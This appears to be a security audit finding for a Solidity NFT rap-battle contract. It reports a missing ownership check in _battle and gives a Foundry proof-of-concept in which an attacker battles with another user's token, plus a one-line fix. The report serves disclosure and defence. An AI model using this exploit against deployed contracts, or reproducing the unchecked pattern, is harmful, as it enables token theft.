Summary
Description: The _battle function lacks validation of NFT ownership, allowing attackers to participate in battles with NFTs they don't own.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Vulnerability Details
Missing Checks: The _battle function doesn't include require statements or other mechanisms to verify that the challenger address actually own the _tokenId they are using in the battle.
Exploitation: An attacker could utilize any arbitrary valid NFT token IDs of anyone (even that of defender's) who owns a Rapper NFT, within the _battle function to participate in Rap Battle and earn cred token.
#POC
The following POC shows how an attacker can participate in rap battle without owning the Rapper NFT and earn cred token. In below example, attacker is using defender's tokenID to participate in the battle and can potentially win the rap battle.
function testUserCanRapBattleWithoutNFT() public twoSkilledRappers{
address attacker = makeAddr("Attacker");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(attacker);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
console.log(cred.balanceOf(attacker));
console.log(cred.balanceOf(user));
}
Impact
Compromised Fairness: The battle system's integrity is undermined as attackers can use NFTs they don't own and earn unlimited cred bets.
Tools Used
Manual Review
Recommendations
function _battle(uint256 _tokenId, uint256 _credBet) internal {
+ require(msg.sender == oneShotNft.ownerOf(_tokenId));
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");